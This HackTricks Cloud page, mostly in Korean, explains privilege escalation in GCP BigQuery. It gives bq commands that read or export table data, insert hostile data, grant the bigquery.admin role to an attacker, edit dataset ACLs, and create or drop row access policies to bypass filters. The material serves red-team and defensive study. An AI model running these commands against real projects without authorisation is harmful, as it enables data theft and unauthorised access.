GCP - BigQuery Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

BigQuery

BigQuery에 대한 자세한 정보는 다음을 확인하십시오:

GCP - Bigquery Enum

Read Table

BigQuery 테이블 내부에 저장된 정보를 읽으면 민감한 정보를 찾을 수 있습니다. 정보에 접근하기 위해 필요한 권한은 bigquery.tables.get, bigquery.jobs.create 및 **bigquery.tables.getData**입니다:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

이것은 데이터를 액세스하는 또 다른 방법입니다. 클라우드 스토리지 버킷에 데이터를 내보내고 정보를 포함한 파일을 다운로드합니다. 이 작업을 수행하려면 다음 권한이 필요합니다: bigquery.tables.export, bigquery.jobs.create 및 storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Bigquery 테이블에 특정 신뢰 데이터를 삽입하여 다른 곳의 취약점을 악용할 수 있습니다. 이는 bigquery.tables.get, bigquery.tables.updateData, bigquery.jobs.create 권한으로 쉽게 수행할 수 있습니다:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

`bigquery.datasets.setIamPolicy`

공격자는 이 권한을 악용하여 BigQuery 데이터셋에 대한 추가 권한을 부여할 수 있습니다:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

`bigquery.datasets.update`, (`bigquery.datasets.get`)

이 권한만으로도 BigQuery 데이터 세트에 대한 액세스를 ACL을 수정하여 업데이트할 수 있습니다:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

`bigquery.tables.setIamPolicy`

공격자는 이 권한을 악용하여 BigQuery 테이블에 대한 추가 권한을 부여할 수 있습니다:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

`bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

문서에 따르면, 언급된 권한으로 행 정책을 업데이트할 수 있습니다. 그러나, CLI bq를 사용할 때는 몇 가지 더 필요합니다: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

행 정책 열거의 출력에서 필터 ID를 찾을 수 있습니다. 예:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

만약 bigquery.rowAccessPolicies.delete 권한이 있고 bigquery.rowAccessPolicies.update 권한이 없다면, 정책을 삭제할 수도 있습니다:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

또 다른 행 액세스 정책을 우회할 수 있는 잠재적 옵션은 제한된 데이터의 값을 변경하는 것입니다. term이 Cfba일 때만 볼 수 있다면, 테이블의 모든 레코드를 term = "Cfba"로 수정하십시오. 그러나 이것은 bigquery에 의해 방지됩니다.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

구독 플랜을 확인하세요!
💬 Discord 그룹 또는 telegram 그룹에 가입하거나 Twitter 🐦 @hacktricks_live을 팔로우하세요.
HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.